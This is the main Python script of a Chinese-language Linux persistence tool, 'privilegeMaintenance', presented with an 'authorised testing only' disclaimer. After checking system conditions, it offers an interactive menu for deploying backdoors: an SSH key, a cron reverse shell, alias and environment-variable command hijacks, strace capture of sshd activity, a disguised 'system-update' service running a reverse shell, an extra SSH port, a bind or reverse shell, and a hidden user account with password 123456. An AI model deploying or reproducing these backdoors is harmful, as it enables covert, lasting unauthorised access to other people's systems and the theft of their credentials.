#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Python 2/3 兼容性处理
from __future__ import print_function

"""privilegeMaintenance v1.0 - 完整利用程序
Linux权限维持技术 - 检测与利用一体化

作者: 大傻逼
版本: v1.0
功能: 检测系统条件并部署权限维持后门
警告: 仅用于授权测试环境"""

import os
import sys
import time

# 设置默认编码
if sys.version_info[0] == 2:
    try:
        reload(sys)  # Python 2 only
        sys.setdefaultencoding('utf-8')
    except NameError:
        pass  # Python 3 doesn't have reload in builtins

os.environ['PYTHONIOENCODING'] = 'utf-8'
if 'LC_ALL' not in os.environ:
    os.environ['LC_ALL'] = 'C.UTF-8'

# 导入模块
try:
    from core.utils import color, color_title, color_green, color_yellow, color_red, color_blue, get_ip_input, get_port_input, get_reverse_shell_command, safe_str
    try:
        from .exploit_modules import BackdoorManager
    except ImportError:
        from exploit_modules import BackdoorManager
    
    # 导入检测模块
    from core.distro_detection import detect_linux_distro
    from modules.persistence.backdoor_checks import check_system_info, check_alerts, check_crontab, check_strace, check_ssh_config, ssh_ip
    from modules.persistence.ssh_checks import check_ssh_user_backdoor, check_sshkey, check_ssh_soft_link_backdoor
    from config.config_checks import check_path, check_bash
    from config.distro_specific_checks import (
        check_debian_specific, check_fedora_specific, check_alpine_specific,
        check_suse_specific, check_alibaba_specific, check_anolis_specific
    )
    from config.config_checks import check_centos_specific, check_rhel_specific
    
except ImportError as e:
    print("导入模块失败: {}".format(e))
    print("请确保所有模块文件都在同一目录下")
    sys.exit(1)

def print_banner():
    """打印程序横幅"""
    # 计算Unicode字符显示宽度，保证边框对齐
    import unicodedata




    def _display_width(text):
        width = 0
        for ch in safe_str(text):
            if unicodedata.category(ch) == 'Mn':
                continue
            eaw = unicodedata.east_asian_width(ch)
            if eaw in ('W', 'F'):
                width += 2
            else:
                if ord(ch) >= 0x1F300 and ord(ch) <= 0x1FAFF:
                    width += 2
                else:
                    width += 1
        return width

    def _render_box(lines, padding=6):
        inner = 0
        for line in lines:
            inner = max(inner, _display_width(line))
        inner += padding * 2

        top = '╔' + '═' * inner + '╗'
        bottom = '╚' + '═' * inner + '╝'
        out_lines = [top]
        for line in lines:
            left_pad = ' ' * padding
            line_text = safe_str(line)
            fill = inner - _display_width(line_text) - padding
            right_pad = ' ' * max(fill, 1)
            out_lines.append('║' + left_pad + line_text + right_pad + '║')
        out_lines.append(bottom)
        return '\n'.join(out_lines)

    lines = [
        '',
        '🔥 privilegeMaintenance v1.0 - 权限维持利用工具',
        '',
        '作者: 大傻逼',
        '功能: Linux权限维持技术检测与部署',
        '警告: 仅用于授权测试环境',
        ''
    ]
    color_blue(_render_box(lines, padding=6))

def run_detection():
    """运行系统检测"""
    color_title("\n🔍 开始系统环境检测...")
    print("="*70)
    
    try:
        # 系统信息检测
        check_system_info()
        
        # 发行版特定检测
        distro = detect_linux_distro()
        if distro == 'debian_based':
            check_debian_specific()
        elif distro == 'fedora_based':
            check_fedora_specific()
        elif distro == 'alpine_based':
            check_alpine_specific()
        elif distro == 'suse_based':
            check_suse_specific()
        elif distro == 'alibaba_based':
            check_alibaba_specific()
        elif distro == 'anolis_based':
            check_anolis_specific()
        elif distro == 'centos_based' or distro == 'centos_stream_based':
            check_centos_specific()
        elif distro == 'rhel_based':
            check_rhel_specific()
        
        # 后门条件检测
        check_ssh_user_backdoor()
        check_alerts()
        check_crontab()
        check_ssh_soft_link_backdoor()
        check_sshkey()
        check_ssh_config()
        check_strace()
        check_bash()
        
        # SSH连接信息
        ssh_ip()
        
        # 开发环境检测
        check_path()
        
        color_green("\n✅ 系统检测完成!")
        
    except Exception as e:
        color_red("检测过程中发生错误: {}".format(e))

def get_user_input(prompt, default=None):
    """获取用户输入"""
    if default:
        full_prompt = "{} [默认: {}]: ".format(prompt, default)
    else:
        full_prompt = "{}: ".format(prompt)
        
    try:
        user_input = input(full_prompt).strip()
        return user_input if user_input else default
    except (KeyboardInterrupt, EOFError):
        print("\n\n用户取消操作")
        return None

def configure_ssh_key_backdoor(manager):
    """配置SSH密钥后门"""
    color_blue("\n🔑 配置SSH密钥后门")
    print("-" * 40)
    
    public_key = get_user_input("请输入公钥 (留空自动生成)")
    
    kwargs = {}
    if public_key:
        kwargs['public_key'] = public_key
        
    return manager.deploy_backdoor(1, **kwargs)

def configure_crontab_backdoor(manager):
    """配置Crontab后门"""
    color_blue("\n⏰ 配置Crontab定时任务后门")
    print("-" * 40)
    
    # 使用新的IP端口输入函数
    command = get_reverse_shell_command()
    if command is None:
        return False
    
    interval = get_user_input("执行间隔 (cron格式)", "*/5 * * * *")
    if interval is None:
        return False
        
    return manager.deploy_backdoor(2, command=command, interval=interval)

def configure_bash_alias_backdoor(manager):
    """配置Bash别名后门"""
    color_blue("\n🎭 配置Bash别名后门")
    print("-" * 40)
    
    target_command = get_user_input("要劫持的命令", "ls")
    backdoor_command = get_user_input("后门命令 (留空使用默认)")
    
    if target_command is None:
        return False
        
    kwargs = {'target_command': target_command}
    if backdoor_command:
        kwargs['backdoor_command'] = backdoor_command
        
    return manager.deploy_backdoor(3, **kwargs)

def configure_strace_backdoor(manager):
    """配置Strace监控后门"""
    color_blue("\n👁️ 配置Strace进程监控后门")
    print("-" * 40)
    
    target_process = get_user_input("监控进程名", "sshd")
    log_file = get_user_input("日志文件路径", "/tmp/.strace.log")
    
    if target_process is None or log_file is None:
        return False
        
    return manager.deploy_backdoor(4, target_process=target_process, log_file=log_file)

def configure_service_backdoor(manager):
    """配置系统服务后门"""
    color_blue("\n🛠️ 配置系统服务后门")
    print("-" * 40)
    
    service_name = get_user_input("服务名称", "system-update")
    if service_name is None:
        return False
    
    # 使用新的IP端口输入函数
    command = get_reverse_shell_command()
    if command is None:
        return False
    
    # 包装为bash -c格式
    command = f"bash -c '{command}'"
        
    return manager.deploy_backdoor(5, service_name=service_name, command=command)

def configure_env_backdoor(manager):
    """配置环境变量后门"""
    color_blue("\n🌍 配置环境变量后门")
    print("-" * 40)
    
    target_binary = get_user_input("要劫持的命令", "ls")
    
    if target_binary is None:
        return False
        
    return manager.deploy_backdoor(6, target_binary=target_binary)

def configure_ssh_config_backdoor(manager):
    """配置SSH配置后门"""
    color_blue("\n🔧 配置SSH配置后门")
    print("-" * 40)
    
    backdoor_port = get_user_input("后门端口", "2222")
    
    if backdoor_port is None:
        return False
        
    try:
        backdoor_port = int(backdoor_port)
    except ValueError:
        color_red("端口必须是数字")
        return False
        
    return manager.deploy_backdoor(7, backdoor_port=backdoor_port)

def configure_network_backdoor(manager):
    """配置网络后门"""
    color_blue("\n🌐 配置网络后门")
    print("-" * 40)
    
    port = get_user_input("端口号", "8888")
    shell_type = get_user_input("Shell类型 (bind/reverse)", "bind")
    
    if port is None or shell_type is None:
        return False
        
    try:
        port = int(port)
    except ValueError:
        color_red("端口必须是数字")
        return False
        
    bind_shell = shell_type.lower() == 'bind'
    
    return manager.deploy_backdoor(8, port=port, bind_shell=bind_shell)

def configure_user_account_backdoor(manager):
    """配置用户账户后门"""
    color_blue("\n👤 配置用户账户后门")
    print("-" * 40)
    
    # 选择部署方法
    print("选择部署方法:")
    print("[1] useradd命令 (推荐)")
    print("[2] 直接修改/etc/passwd")
    
    method_choice = get_user_input("请选择方法", "1")
    method = "useradd" if method_choice == "1" else "passwd_direct"
    
    # 获取用户名
    username = get_user_input("请输入用户名 (留空自动生成)")
    
    # 获取密码
    password = get_user_input("请输入密码", "123456")
    
    kwargs = {
        'method': method
    }
    
    if username:
        kwargs['username'] = username
    if password:
        kwargs['password'] = password
        
    return manager.deploy_backdoor(9, **kwargs)

def interactive_mode():
    """交互式模式"""
    manager = BackdoorManager()
    
    while True:
        print("\n" + "="*60)
        color_blue("🎯 请选择操作:")
        print("="*60)
        print("[0] 运行系统检测")
        print("[1] SSH密钥后门")
        print("[2] Crontab定时任务后门") 
        print("[3] Bash别名后门")
        print("[4] Strace进程监控后门")
        print("[5] 系统服务后门")
        print("[6] 环境变量后门")
        print("[7] SSH配置后门")
        print("[8] 网络后门")
        print("[9] 用户账户后门")
        print("[q] 退出程序")
        print("="*60)
        
        choice = get_user_input("请选择")
        
        if choice is None or choice.lower() == 'q':
            color_yellow("\n👋 感谢使用 privilegeMaintenance!")
            break
        elif choice == '0':
            run_detection()
        elif choice == '1':
            configure_ssh_key_backdoor(manager)
        elif choice == '2':
            configure_crontab_backdoor(manager)
        elif choice == '3':
            configure_bash_alias_backdoor(manager)
        elif choice == '4':
            configure_strace_backdoor(manager)
        elif choice == '5':
            configure_service_backdoor(manager)
        elif choice == '6':
            configure_env_backdoor(manager)
        elif choice == '7':
            configure_ssh_config_backdoor(manager)
        elif choice == '8':
            configure_network_backdoor(manager)
        elif choice == '9':
            configure_user_account_backdoor(manager)
        else:
            color_red("无效选择，请重新输入")
            
        if choice != '0' and choice != 'q' and choice is not None:
            input("\n按回车键继续...")

def main():
    """主函数"""
    print_banner()
    
    # 检查权限 (仅在Linux/Unix系统)
    if hasattr(os, 'geteuid') and os.geteuid() != 0:
        color_yellow("⚠️  建议以root权限运行以获得完整功能")
        
    # 运行初始检测
    run_detection()
    
    # 进入交互模式
    interactive_mode()

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        color_yellow("\n\n👋 程序被用户中断")
    except Exception as e:
        color_red("\n❌ 程序异常: {}".format(e))
        sys.exit(1)